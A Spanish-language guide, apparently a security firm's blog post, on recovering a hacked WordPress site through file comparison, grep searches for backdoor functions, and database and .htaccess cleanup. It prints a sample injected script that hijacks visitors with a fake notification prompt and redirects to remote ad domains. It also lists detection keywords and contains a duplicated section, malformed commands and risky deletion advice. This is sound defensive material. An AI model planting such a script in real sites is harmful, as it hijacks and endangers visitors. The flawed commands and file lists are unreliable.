Desactivar tus plugins y temas y luego reactivarlos uno por uno te permite reducir las instalaciones infectadas. Una vez que descubras las instalaciones defectuosas, desactívalas y elimínalas. Este sería también el momento perfecto para eliminar las instalaciones que no se utilizan en tu sitio web. Tener temas y plugins innecesarios instalados en tu sitio puede crear puntos de acceso para que el malware lleve a cabo hackeos, incluso si están inactivos. Además, debes desinstalar los plugins y temas obtenidos fuera de los directorios oficiales ya que estos tipos de software tienen un mayor riesgo de portar código malicioso. Las vulnerabilidades en los complementos de terceros son otra razón común para que CMS como WordPress sea hackeado.
De hecho, la investigación dice que hasta el 67% de los hacks de WordPress son el resultado de vulnerabilidades de complementos. Por lo tanto, antes de saltar al proceso de limpieza, asegúrese de que las versiones actuales de sus complementos estén libres de vulnerabilidades. Cuando hablamos de plugins o themes pirateados se trata de plantillas o complementos de pago que hayas obtenido por otra vía que no sea comprándolos en su sitio oficial, o pagando lo que corresponde. Sabemos que es tentador obtener plugins o themes que son pagos, a bajo precio o totalmente gratis; pero las consecuencias suelen ser fatales para tu web y la reputación de tu negocio a lo largo del tiempo. Si deseas conservarlos, te recomendamos desinstalarlos, comprar las copias originales, y luego instalarlos legalmente como corresponde. Será toda una inversión y te ahorrarás varios dolores de cabeza. Si nosotros nos encargamos de recuperar tu web, será lo primero que eliminaremos.
Compara tu instalación de WordPress frente a una instalación limpia
El mayor problema cuando eres infectado, es que los atacantes colocan puertas traseras para asegurarse el acceso a tu sitio web de nuevo. Tras descargar el sitio escanealo con una antivirus. Compara tu instalación con un WordPress recién descargado, para observar si tu instalación contiene archivos que no son de la instalación estándar. Si detectas archivos que no están en la instalación oficial ábrelos para analizar si son archivos que subiste para algún propósito concreto y, ante la duda, descarga una copia y bórralos. Debes hacer esto con todas las carpetas, y sus subcarpetas, de la instalación de WordPress (wp-admin, wp-includes, wp-content, etc.) El modo más rápido y recomendable es usar un gestor de archivos (FTP, administrador de archivos del hosting, administrador de archivos local, etc.) y, ordenando los archivos por la fecha de la última modificación y última inclusión, buscar archivos diferentes, con distinto peso, distinto contenido. Antes de empezar esta tarea es conveniente, como te recomendé antes, analizar los registros (logs) del servidor, además de empezar buscando los archivos que los escáneres de seguridad hayan detectado como malware o infectados.
Compara tu instalación de WordPress frente a una instalación limpia
El mayor problema cuando eres infectado, es que los hackers colocan puertas traseras para asegurarse el acceso a tu sitio web de nuevo. Tras descargar el sitio escanealo con una antivirus. Compara tu instalación con un WordPress recién descargado, para observar si tu instalación contiene archivos que no son de la instalación estándar. Si detectas archivos que no están en la instalación oficial ábrelos para analizar si son archivos que subiste para algún propósito concreto y, ante la duda, descarga una copia y bórralos. Debes hacer esto con todas las carpetas, y sus subcarpetas, de la instalación de WordPress (wp-admin, wp-includes, wp-content, etc.)
El modo más rápido y recomendable es usar un gestor de archivos (FTP, administrador de archivos del hosting, administrador de archivos local, etc.) y, ordenando los archivos por la fecha de la última modificación y última inclusión, buscar archivos diferentes, con distinto peso, distinto contenido. Antes de empezar esta tarea es conveniente, como te recomendé antes, analizar los registros (logs) del servidor, además de empezar buscando los archivos que los escáneres de seguridad hayan detectado como malware o infectados. Tenga cuidado de descargar archivos de acuerdo con su versión de WordPress.
Tenga en cuenta las diferencias para su posterior análisis. Si hay algunos enlaces maliciosos inyectados, elimínelos de inmediato. Además, verifique los archivos para ciertas palabras clave como: eval, exec, strrev, afirmar, base64, str_rot13, Stripslashes, preg_replace (con / e /), move_uploaded_file, etc. Puede simplificar aún más la búsqueda de estas palabras clave utilizando líneas de comando. Por ejemplo, para buscar archivos con la palabra clave base64 ejecute el siguiente comando:
sudo grep -ril base64 /
Ahora, reemplace ‘base64’ con cada palabra clave para recuperar los archivos que los contienen y luego revíselos con atención.
Desactivar la ejecución de PHP
Los atacantes pueden crear puertas traseras en los sitios web subiendo archivos con código malicioso a la carpeta Uploads. Desactivar la ejecución de PHP les impide ejecutar esos archivos infectados. Crea un archivo .htaccess en la la carpeta wp-content/uploads/ y añade el siguiente código en .htaccess:
<Files *.php>
deny from all
</Files>
REVISAR DIRECTORIOS EN BUSCA DE FICHEROS MALICIOSOS EN TU SERVIDOR
Descarga una copia limpia del último WordPress disponible que estuvieras usando en tu sitio web. Si eres precavido estarás actualizado a la última. Descomprímela y navega por los ficheros, para familiarizarte con los que vienen en una instalación por defecto. Una vez los has recorrido, accede a tu servidor por FTP y busca ficheros sospechosos que no sean los habituales. Los que encuentres probablemente sean malware. El sitio habitual suele ser el directorio /wp-content/. Puedes borrar con tranquilidad los directorios /wp-admin/ y /wp-includes/, y restaurarlos con la copia limpia recién descargada. Así que no interesa infectar estos directorios, pues son fácilmente “limpiables”. En /wp-content/, puedes ir borrando carpetas de plugins, y sustituyéndolas por descargas limpias. ¡Siempre que sean la misma versión! ¿Ves lo importante que es estar actualizado? No sólo para protegerte, hasta para reparar es bueno. A veces los atacantes no infectan los ficheros de WordPress, sino que infectan o te colocan ficheros en tu servidor directamente. Utilizan en muchas ocasiones etiquetas Iframes, para cargar sitios remotos, o un fichero ejecutable tipo exe, cmd, etc… que infecte el equipo de tus visitantes. ¡Así que atento a este código! Busca por ejemplo:
- Iframes ocultos: <iframe style=”width:0;height:0;”> al principio de un fichero html.
- Bloques de código ininteligibles: %wwww%yyy%zzz%/999/. Esto normalmente es código encriptado para ocultar el malware, así que lo puedes eliminar. Herramientas como Screaming Frog SEO Spider, Screpy, SEO PowerSuite, Xenu’s Link Sleuth and SiteAnalyzer te ayudarán a encontrarlo. También mira los enlaces internos y externos, y así podrás averiguar a dónde estás mandando tráfico y si hay algún sitio sospechoso.
- Busca en comentarios o áreas que puedan ser editadas por usuarios. Recuerda que usar plugins como Akismet te ayuda a reducir el SPAM y las infecciones.
- Revisa tu fichero .htaccess. Es el sitio favorito para hacer redirecciones y añadir código malicioso. Asegúrate de revisarlo desde el principio hasta el final. A veces el código malicioso está debajo de cientos de líneas vacías.
- En el mismo caso que el anterior, revisa a fondo el fichero wp-config.php, sobre todo tras la línea “Require_once(ABSPATH.’wp-settings.php’);”
- Por supuesto revisa todos los ficheros que son descargables en tu sitio web.
- Elimina los siguientes ficheros:
- /wp-includes/xmlrpc.php
- /wp-includes/css/css.php
- /wp-includes/css/style.php
- /wp-includes/js/jquery/jquery.js
- /wp-content/upd.php
- /wp-content/themes/[nombre del tema]/temp/e9815adced6d3.php (o similar)
- /wp-admin/upd.php
- Elimina todas las imágenes, ficheros zip u otros ficheros que ya no se necesiten
- Elimina todos los plugins que no se usen.
- Elimina todos los temas de WordPress que no se usen.
Busca archivos o tipos de archivo sospechosos concretos
Si ya tienes claro qué nombres de archivo o que extensiones de archivo buscar, si tienes acceso por SSH a tu instalación puedes hacer una búsqueda del archivo o tipo de archivo que buscas. Aquí tienes unos ejemplos de posibles búsquedas:
//Buscar y mostrar todos los archivos html
find . -type f -name '*.html'
//Buscar y mostrar todos los archivos php
find . -type f -name '*.php'
//Buscar y mostrar todos los archivos js
find . -type f -name '*.js'
//Buscar un archivo concreto
find . -type f -name 'no-soy-sospechoso-que-va.php'
Una búsqueda diferente sería localizar aquellos archivos que hayan sido modificado o subidos recientemente. Por ejemplo, con el siguiente comando tendremos una lista de los archivos que han sido modificados los últimos 7 días:
find .mtime -7 –ls | less
A partir de esta lista seguiríamos buscando, analizando, e incluso abriendo archivos para comprobar su integridad y localizar el código malicioso.
Busca textos concretos
Si sabemos exactamente que texto o URL buscar, bien porque son URLs a las que redirige nuestra web o porque es un texto no deseado que se muestra en alguna parte, podemos realizar una búsqueda de esa cadena de texto concreta para detectar en qué archivo de nuestra instalación está inyectado. De nuevo usaríamos la interfaz de comandos para realizar la búsqueda, por ejemplo:
grep –Ril www.urlmaliciosa.com
Este comando mostrará una lista de los archivos que contengan la URL www.urlmaliciosa.com para que puedas localizarlos rápidamente y limpiar el código. Aparte de esa cadena de texto tan obvia de la URL, aquí tienes una lista de códigos y textos que se suelen utilizar en las webs WordPress hackeadas. Puedes utilizar la herramienta grep para buscar lo siguiente:
- base64_decode
- is_admin
- eval
- gzuncompress
- passthru
- exec
- shell_exec
- assert
- str_rot13
- system
- phpinfo
- chmod
- mkdir
- fopen
- fclose
- readfile
Una forma rápida de conseguirlo utilizando grep es a través del siguiente comando grep, que busca archivos de forma recursiva (sigue cualquier enlace simbólico), busca las cadenas que coinciden con la expresión regular especificada, y devuelve el texto coincidente así como el número de línea donde se produjo la coincidencia.
grep -RPn "(base64_decode|is_admin|eval|gzuncompress|passthru|exec|shell_exec|assert|str_rot13|system|phpinfo|chmod|mkdir|fopen|fclose|readfile) *\("
Eso sí, ten en cuenta que parte de este código también puede ser utilizado en código legítimo, por lo que hay que analizar el código adecuadamente y entender cómo se está utilizando antes de marcar algo como una infección o un hack.
Comprobación y limpieza de bases de datos infectadas o hackeadas
Después de limpiar tus instalaciones el siguiente paso es revisar los registros de tu base de datos. Elimina cualquier registro que contenga código malicioso y los nuevos registros que no reconozcas para evitar que los atacantes creen puertas traseras a través de una inyección en la base de datos. Ten en cuenta que hacer este proceso manualmente es arriesgado y lleva mucho tiempo, especialmente si tienes muchos registros. Además, el sitio podría dañarse de forma irreparable si borras accidentalmente los registros equivocados. Para revisar y limpiar la base de datos de tu sitio WordPress utiliza la herramienta de administración de bases de datos MySQL de tu hosting, que normalmente será phpMyAdmin.
- Busca el contenido sospechoso (palabras clave de spam, textos no deseados, enlaces, etc.).
- Abre la tabla que contenga contenido sospechoso.
- Elimina manualmente cualquier contenido sospechoso.
- Realiza una prueba para comprobar que tu sitio sigue funcionando después de los cambios.
Los principiantes pueden utilizar la información sobre la carga útil que proporcionan los escáneres de malware que vimos antes. Los usuarios intermedios también pueden buscar manualmente las funciones maliciosas más comunes de PHP, como eval, base64_decode, gzinflate, preg_replace, str_replace, etc. Otro método que los hackers utilizan para entrar ilegalmente en tu web es mediante funciones PHP de puerta trasera que se inyectan en archivos como wp-config.php y .htaccess, así como con directorios como /themes/, /plugins/, o /uploads/.
Las funciones PHP más comunes, como base64, eval, exec y preg_replace, se utilizan para las puertas traseras y para el uso legítimo de la mayoría de los plugins de WordPress. Por lo tanto, además de evitar cualquier ruptura del sitio, hay que limpiar adecuadamente las puertas traseras para evitar cualquier reinfección de la web. Aquí hay un ejemplo de un código de redireccionamiento insertado en la base de datos:
<script>
const overlayTranslations = {"en":{"title":"Attention!","description":"Click “Allow†to subscribe to notifications and continue working with this website."}};
const overlay = {"delay":3000,"overlayStyle":{"background":"rgba(0,0,0, 0.6)"},"title":"Attention!","description":"Click “Allow†to subscribe to notifications and continue working with this website.",...(overlayTranslations[navigator.language.slice(0, 2).toLowerCase()]||Object.values(overlayTranslations)[0])};
const s = document.createElement('script');
s.src='//humsoolt.net/pfe/current/tag.min.js?z=2774009';
s.onload = (sdk) => {
sdk.updateOptions({overlay, overlayTranslations})
sdk.onPermissionDefault(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionAllowed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionDenied(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onAlreadySubscribed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onNotificationUnsupported(() => {});
}
document.head.appendChild(s);
</script>
<script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2574011" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script>
Limpiar el sitemap
Un mapa del sitio es un plano que ayuda a los motores de búsqueda a encontrar y rastrear el contenido de tu web. Si es hackeado, lo más probable es que tu posicionamiento en los motores de búsqueda caiga. Por eso vale la pena regenerar un nuevo mapa del sitio cuando se trata de ataques. Envía el nuevo mapa del sitio a Google para que lo rastree a través de Google Search Console.
Permisos de archivo
- 775 – Todas las carpetas: Esto significa un permiso de lectura, escritura y ejecutar para el usuario; sólo lectura y ejecutar para el grupo y ninguno a otros
- 440 – wp-config.php (public html folder): El wp-config es el archivo de configuración de WordPress y es uno de los archivos más sensibles. Protéjalo con un permiso de 400/440. Esto significa que incluso el usuario y el servidor no tiene derecho a editar, mientras que otros no pueden ni siquiera leer.
- 644 – Todos los Archivos PHP: Esto significa que los usuarios tienen permisos de lectura y permisos de escritura y grupos y otros sólo pueden leer los archivos. Esto asegurará que nadie que acceda a los archivos pueda alterarlos, aparte del propietario
- 444 – index.php (public html folder): El permiso 444 puede para una mayor seguridad que asegura sólo admin puede realizar cualquier escritura o ejecutar acciones
CAMBIAR TU PROVEEDOR DE HOSTING
Si tu sitio web se ejecuta en un alojamiento compartido, existe la posibilidad de que el problema provenga de otro sitio en el mismo servidor web. Ponte en contacto con tu proveedor de alojamiento para comprobar si los problemas de seguridad afectan a algo más que a tu sitio. Como mínimo, tu empresa de alojamiento debería ser capaz de recuperar el acceso a tu sitio de WordPress o proporcionar los registros de la web para ayudar a acotar el momento de la brecha.
Un proveedor de alojamiento desempeña un papel importante a la hora de garantizar que el rendimiento y la seguridad de un sitio web sean de la máxima calidad. Si crees que tu actual proveedor de alojamiento web no puede mitigar los ataques, es hora de buscar uno nuevo. Considera la posibilidad de obtener un alojamiento gestionado de WordPress, ya que generalmente ofrece medidas de seguridad creadas específicamente para proteger los archivos y las instalaciones del sitio web. Una vez identificado lo que sucede en tu sitio web, el siguiente paso es ponerte en contacto con tu proveedor de alojamiento.
Si la empresa cuenta con un área de soporte de calidad, es muy probable que te ayuden con el problema. Ojo, hazles saber todos los detalles que anotaste en el paso anterior para que sepan identificar donde puede estar la fuente del hackeo y que te indiquen qué archivos modificar para solucionarlo. Si tienes suerte, puede que incluso ellos lo solucionen por ti. Si la respuesta de tu proveedor cuando fuiste infectado y pediste ayuda fue un tutorial y nada más, ha llegado el momento de tomar una decisión. El momento de contratar un alojamiento web seguro.
Cómo quitar las advertencias de sitio no seguro
Esta es la pantalla roja de advertencia del navegador. Si tu sitio web fue infectado, Google podría llegar a aplicar preventivamente esta pantalla roja para proteger a tus visitantes de que sus dispositivos se infecten con los códigos maliciosos insertados en tu sitio web.
Para finalizar, es conveniente que no olvides anular cualquier advertencia de que el sitio no es seguro, así que, cuando hayas terminado de limpiar y recuperar la web WordPress hackeada, haz lo siguiente:
- Si tu hosting bloqueó la web contacta con ellos para que vuelvan a activarla.
- Si el navegador Chrome mostraba advertencias de que visitar la web no era seguro, accede a la Google Search Console para solicitar una revisión de la web.
A partir de aquí ya dependerá de Google lo que tarde el rastreo y la eliminación de la advertencia, que podrás comprobar visitando la web o desde la misma Search Console de Google. De hecho, si aún no has dado de alta tu web en la Search Console de Google te recomiendo hacerlo y revisar de manera periódica la sección de seguridad de la herramienta, para anticiparte a los problemas. Hacer que desaparezca lo que se ha indexado en Google es bastante complicado. Por eso voy a poner algunas pautas para hacer que las páginas hackeadas se desindexen de Google. Si hemos cumplido a rajatabla los 4 pasos anteriores, al hacer la restauración de una copia de seguridad todas estas páginas que aparecen en Google y han sido inyectadas por el atacante serán errores 404. A partir de aquí varios consejos:
- No tener las páginas con errores 404 redireccionadas a otras. Hay plugin que te redireccionan los errores 404 a otra página del sitio web. Esto lo que hace es decirle a Google que la página del hackeo ya no existe y se redirecciona a otra página del sitio web. Pero Google tardará mucho tiempo en desindexar un redireccionamiento 301 y todavía lo seguirá guardando en la lista.
- Poner páginas hackeadas con status 410. Esto la verdad que no sirve de mucho, ya que, por la experiencia que tengo, Google le va a hacer el mismo caso.
- Eliminar de forma temporal en Google. Google tiene una herramienta para eliminar el contenido que aparece listado de forma temporal. El problema es que se elimina durante 90 días, y a los 90 días vuelve a salir si no tomas otra medida. Pero es una buena opción para no generar una mala imagen. Podemos hacerlo 1 a 1, o todos al mismo tiempo, sacando el listado.
- Hacer que las páginas que están hackeadas aparezcan con un error 50x. Los errores de servidor son drásticos para la desindexación. Si Google pasa un par de veces por la url y ve que hay un error de servidor, desindexará la url muy pronto. El problema es que esto pueda generar que Google establezca que toda tu web está de la misma forma, y puedas tener un problema con el SEO. Esto sólo se debe hacer cuando el número de urls es muy pequeña o cuando el dominio lo vas a quitar, pero quieres aprovechar la información.
- No bloquear a Google. Esto es un clásico que suele suceder. Si se bloquea a Google a analizar las páginas hackeadas (que ya no existen) no podrá ver ningún tipo de status ni nada. Por tanto. Es crucial no bloquear a Google.
Si ya corregiste el error, y por ejemplo, el navegador Chrome muestra advertencias de que visitar la web no es seguro, accede a la Google Search Console para solicitar una revisión manual. También puede ocurrir que transcurridos unos días desaparezca automáticamente (es decir, cuando el crawler de Google vuelva a pasar por tu web y comprobar que fue arreglado).
FINALIZANDO.
En este momento tienes una Web prácticamente limpia, y todo debe estar funcionando bien. Es el momento de quitar el código que añadimos al fichero .htaccess en el paso 1, y retirar el fichero 503.php. Nuestro sitio volverá a la normalidad. No olvides mandar a Google una petición de que vuelva a escanear tu sitio web para que te elimine de las listas de sitios infectados, a través de las Google Webmaster Tools. Así en más o menos un día, Google quitará el aviso de sitio infectado de tu web. Cuando termines de limpiar y hayas recuperado la web infectada o hackeada tu principal misión es evitar en lo posible que esto vuelva a suceder. Para ello mi recomendación es la siguiente:
- REALIZA UN TEST DE PENETRACIÓN: Como nada te garantiza que no seas atacado de nuevo, la mejor forma de prevenir es saber de qué forma eres vulnerable. Cuando termines de limpiar y hayas recuperado la web WordPress infectada o hackeada tu principal misión es evitar en lo posible que esto vuelva a suceder. Puede saber más acerca de nuestro servicio.
- ASEGURA BIEN FUERTE TUS CUENTAS DE EMAIL: De nada sirve asegurar servidor, panel de control, ec… si un simple “recuperar contraseña” las pone en bandeja. Para proteger el email, y tu WordPress, una gran idea es usar los servicios de doble autentificación. Añade también preguntas de seguridad, una cuenta de correo alternativa, y un móvil, para que puedas recuperar tu correo en caso de que la contraseña de acceso cambie.
- Analiza tu equipo y el de todos los administradores: Muchas veces se infecta nuestro sitio web a través de ficheros infectados en nuestro equipo, o bien tenemos contraseñas súper seguras que un keylogger nos captura con facilidad. También puede suceder que el origen de la vulnerabilidad provenga de un equipo infectado por malware o puertas traseras, así que nunca sobra analizar con un buen antivirus los dispositivos de todos los que tengan acceso de administrador a la web o el panel del hosting, pues cualquier cambio que hagas podría no servir de nada si sus dispositivos van a exponer las contraseñas nuevas.
- Haz una copia de seguridad de la web recién instalada y limpia: Si no vuelves a encontrar malware, o cualquier hackeo o puerta trasera es momento de hacer una copia de seguridad de la web totalmente limpia, y etiquetarla claramente por si tienes que volver a usarla para recuperar el sitio en el futuro.
- Utiliza y fuerza siempre la conexión segura HTTPS mediante un certificado SSL.
- Activa, al menos, las cabeceras de seguridad HSTS y CSP.
- Pon en marcha una buena estrategia de copias de seguridad de WordPress, para evitar disgustos en el futuro.
- Instala un buen plugin de seguridad para WordPress.
- Realiza o contrata un buen mantenimiento de WordPress, manteniendo siempre todo actualizado.
- Impón el cambio periódico de contraseñas y que estas sean fuertes.
- Instala un plugin de registro de actividad, si no incorpora esta funcionalidad el plugin de seguridad, para controlar y analizar el tráfico y uso de la web.
- Protege contra escritura los archivos de configuración.
- Analiza si tu empresa de hosting hace lo suficiente para proteger tu sitio y, en caso contrario, cambia a una empresa de hosting de confianza.
- Evite usar contraseñas comunes o predeterminadas. Asegúrese de que el inicio de sesión de WordPress requiere una contraseña segura y aleatoria.
- Elimine las carpetas de la antigua instalación de WordPress del sitio, ya que pueden filtrar información confidencial.
- No utilice temas nulos o complementos de autores no reconocidos. Mantenga los complementos y temas existentes actualizados con los últimos parches.
- Use subredes mientras comparte el espacio de alojamiento con otros sitios.
- Asegúrese de que no haya puertos sensibles abiertos en Internet.
- Deshabilite la indexación de directorios para archivos sensibles de WordPress usando .htaccess.
- Restrinja las IP en función de los países desde donde detecte tráfico pesado de bots en el sitio.
- Siga las prácticas de codificación segura si es desarrollador de WordPress.
- Use SSL.
- Mantenga siempre una copia de seguridad de su sitio por separado.
- Cambie el nombre de wp-login.php a una babosa única.
- Use la autenticación de dos factores para iniciar sesión en su sitio de WordPress.
- Instala un cortafuegos: WordFence o Sucuri te ahorrarán quebraderos de cabeza impidiendo y bloqueando los intentos repetidos de ataque.
- Deshabilita el editor de temas y plugins por defecto en WordPress: En realidad no es necesario y puede ser empleado como puerta de acceso para los atacantes.
- Limita los intentos de inicio de sesión en WordPress: De esta forma inhabilitarás los ataques de fuerza bruta.
- Imposibilita la ejecución de PHP en según que directorios: Esto evitará que los atacantes empleen sus trucos en los directorios que no sean estrictamente necesarios.
Ten en cuenta que incluso si lograste recuperar una versión limpia no hackeada de tu web esta no tardara en volver a ser hackeada. Quienes ya ficharon tu web volverán a entrar como entraron la primera ver. Por lo tanto, hace que reforzarlas. Hacer esto escapa al contenido de esta guia pero, pronto estaré creando una de referencia. Mientras, si te interesa, tenemos un servicio para mantener tu sitio seguro SIEMPRE.
Auditoría de seguridad y pentesting
Como se ve en el artículo, las vulnerabilidades en WordPress surgirán de vez en cuando. Por lo tanto, como medida de precaución, es recomendable realizar una prueba de penetración de su sitio web. Esto le revelará las lagunas antes de que los atacantes puedan ponerse al día con la seguridad de su sitio. Nosotros proporcionamos una auditoría de seguridad integral del sitio completo. Veamos algunos ejemplos de reconocimiento y prevención:
- INYECCIÓN : Los fallos de inyección, como SQLi, LDAP y CRLF se producen cuando un atacante envía datos no fiables a un intérprete que se ejecuta como un comando sin la autorización.
- PREVENCIÓN: Las pruebas de seguridad de aplicaciones pueden detectar fácilmente fallos de inyección. Los desarrolladores deben utilizar consultas parametrizadas al codificar para prevenir estos fallos.
- Herramientas – Burpsuite Proxy, SQLmap
- FALLO AUTHENTICATON: Esto podría permitir a los atacantes comprometer cuentas de usuario y asumir sus identidades robando contraseñas, claves o testigos de sesión,
- PREVENCIÓN: La autenticación multifactor, como FIDO o aplicaciones específicas, reduce el riesgo de cuentas comprometidas
- Herramientas – Burpsuite y pruebas manuales
- DATOS EXPOSICIÓN: Los atacantes pueden acceder a sensible para cometer fraudes o robar identidades cuando las aplicaciones y APIS no protegen dichos datos adecuadamente.
- PREVENCIÓN: El cifrado de datos en reposo y en tránsito puede ayudarle a cumplir la normativa de protección de datos.
- Herramientas – Acunetix, DirBuster
- XSS: Los atacantes que aprovechan los fallos XSS son capaces de inyectar scripts del lado del cliente en la aplicación, por ejemplo, para redirigir a los usuarios a sitios web maliciosos o robar credenciales.
- PREVENCIÓN
- – Validación de la entrada del usuario
- – Desinfección de la entrada del usuario
- – Utilizar un WAF
- Herramientas – Burpsuite y pruebas manuales
- PREVENCIÓN
Con sus más de 120 pruebas activas le ofrecemos la combinación correcta de pruebas automáticas y manuales. Puede saber más acerca de nuestro servicio.
Conclusión
Tener su sitio de hackeado es un momento estresante. Sin embargo, es mejor redirigir tu energía a la mitigación de daños y tomar medidas para recuperar tu sitio. He aquí un rápido resumen:
- Poner tu sitio web hackeado en modo de mantenimiento.
- Restablecer la contraseña.
- Actualizar tu sitio.
- Desactivar plugins y temas.
- Reinstalar.
- Eliminar los usuarios con privilegios de administrador.
- Buscar malware.
- Desactivar la ejecución de PHP.
- Limpiar la base de datos.
- Limpiar el mapa del sitio.
- Contactar con tu proveedor de alojamiento.
Espero haberte ayudado a limpiar y recuperar tu web si ha sido hackeado o infectado, si tienes alguna duda puedes dejarla abajo en la sección de comentarios, o si lo prefieres, contratar nuestro servicio de recuperación de webs WordPress hackeadas.